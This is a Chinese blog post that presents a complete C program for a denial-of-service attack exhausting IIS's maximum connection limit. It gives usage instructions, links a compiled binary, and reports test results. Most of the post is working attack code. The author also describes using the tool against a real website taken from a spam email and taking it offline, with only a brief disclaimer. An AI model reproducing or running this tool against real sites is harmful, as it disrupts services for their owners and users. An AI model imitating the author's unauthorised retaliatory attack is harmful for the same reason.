以小搏大——利用IIS最大連接數實現網站DOS

(聲明:本程序僅做爲技術交流之用,勿用於非法用途!)
        最近買了個空間來玩,各位勿笑,是入門級的虛擬主機(偶是窮人啊),各種參數都相當低,特別是IIS連接數,只有100個(也就是同時支持100個不同的訪問)。
        這裏就出現問題了。如果我一直對該網站進行連接,雖然我是同一個人,但是IIS卻傻乎乎的把每次連接當成不同的人,每連接一次就會分配一個session給我,當連接超過服務器設置的IIS最大連接數目的時候……呵呵,拒絕服務就發生了。
        具體的攻擊嘛,我們當然是利用程序來完成。思路簡單,就是不斷的向網站發HTTP請求,直到超過它的最大連接數。正好機器上有以前看了shotgun的《HTTP協議Content Lenth限制漏洞導致拒絕服務攻擊》寫的測試程序,跟今天的要求很相似,就拿來改改咯。具體代碼如下:
 
#include "winsock.h"
#include "stdio.h"
#include "string.h"
#include "io.h"
#pragma comment(lib,"ws2_32.lib")
#define BUFLEN 1024
#define MAXThreadCount 10 //設置最大線程數
 
int ThreadCount=0;
 
struct mydata
{
  char *ip;
  int  port;
};
 
 
unsigned int resolve(char *name)
{
    struct hostent *he;
    unsigned int ip;
 
    if((ip=inet_addr(name))==(-1))
    {
        if((he=gethostbyname(name))==0)
            return 0;
        memcpy(&ip,he->h_addr,4);
    }
    return ip;
}
 
 
DWORD WINAPI Dos(LPVOID lpParam )
{
  mydata *csdn = (mydata*)lpParam;
  struct sockaddr_in server;
  server.sin_family = AF_INET;
  server.sin_port = htons(csdn->port);
   server.sin_addr.s_addr = resolve((char*)csdn->ip);
      if(server.sin_addr.s_addr==0)
    {
       
         printf("Don't find  address %s/n",(char*)csdn->ip);
        exit(0);
    }
  int my;
  char buf[100]="POST / HTTP/1.1/r/nHost: ";
  strcat(buf,(char*)csdn->ip);
  strcat(buf," /r/nContent-Length: 10/r/n/r/n");
    my=socket(PF_INET,SOCK_STREAM,0);
  if(my==INVALID_SOCKET)
    {
         printf("ERROR");
         exit(0);
    }
if(connect(my,(struct sockaddr *) & server,sizeof(server))==SOCKET_ERROR)
    {
         printf("Socket ERROR:%d",GetLastError());
        exit(0);
    }
  if(send(my,buf,strlen(buf),0)==SOCKET_ERROR){printf("ERROR:send fail!");}
  ThreadCount--;
    return 0;
}
 
void thread ( char *a1 , char *a2 , char *a3 )
{
  static mydata tmp;
  tmp.ip = a1;
  tmp.port = atoi(a2);
 
  DWORD dwThreadId;
    HANDLE hThread;
  WSADATA ws;
   if   (WSAStartup( MAKEWORD(2,2), &ws )!=0)
   {
                printf(" [-] WSAStartup() error/n");
                exit(0);
   }
 
    hThread = CreateThread(
        NULL,                        // no security attributes
        0,                           // use default stack size 
        Dos,                  // thread function
        &tmp,                // argument to thread function
        0,                           // use default creation flags
        &dwThreadId);                // returns the thread identifier
   if (hThread == NULL)
     printf( "CreateThread failed." );
  ThreadCount++;
  Sleep(200);     //延時,否則CPU會用滿……
   CloseHandle(hThread);
}
 
int main(int argc, char* argv[])
{
  int i=0;
  if(argc!=4)
  {
         printf("/n/tIIS MaxConnectionCount DOS by lake2 ,Jul,8,2005/n");
         printf("-Usage:/n");
         printf("%s <TargetAddress> <port> <MaxConnectionCount>/n",argv[0]);
         printf("-Example: %s www.target.com 80 300/n",argv[0]);
         return 0;
  }
  printf("Starting DOS.............Ctrl + C break/n");
  while( i < atoi(argv[3]) )
  {
         if( ThreadCount < MAXThreadCount ){ thread(argv[1],argv[2],argv[3]); i++;}
  }
  while( 1 ){      }
  WSACleanup();
  return 0;
}
 
 
        (VS.net 、XP SP1調試通過。編譯好的程序可以在這裏找到:http://www.0x54.org/lake2/program/IISDos.exe
        程序爲命令行程序,共有三個參數,依次爲要攻擊的網站域名、端口、連接數。嗯,測試下效果先。
測試的目標是個人電腦,系統爲win2000。IIS管理中把最大連接數設爲200,很快網站就不能訪問了;增大到500,仍然會被當;800,還是要被當(圖)。測試過程中該電腦正在運行魔獸世界,而且一直正常。看來我們的程序只是對付網站,不會央及無辜的啊^_^




        既然如此,那索性試試IIS連接數爲無限的情況。程序中的連接參數我填的8000,結果運行途中我的系統沒有了緩衝區間,winsock產生10055號錯誤,程序中止。呵呵,看來這種方法還是隻能針對使用虛擬空間的中小網站。
        好,偶們來實際使用一下。打開郵箱,隨便找封廣告垃圾郵件,訪問那傢伙的網站,然後開始攻擊它,對付這種小站連接數就設成300就綽綽有餘了。呵呵,很快那網站就不工作了(圖),嘿嘿,這可怪不得我,誰叫他發垃圾郵件在前。好了,測試完畢,通過驗收,就不跟他玩了。




        這只是個測試程序,真正要投入到應用還得再完善完善。再說廢話一句,要是跟別人沒有國仇家恨的話還是不要DOS的好。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章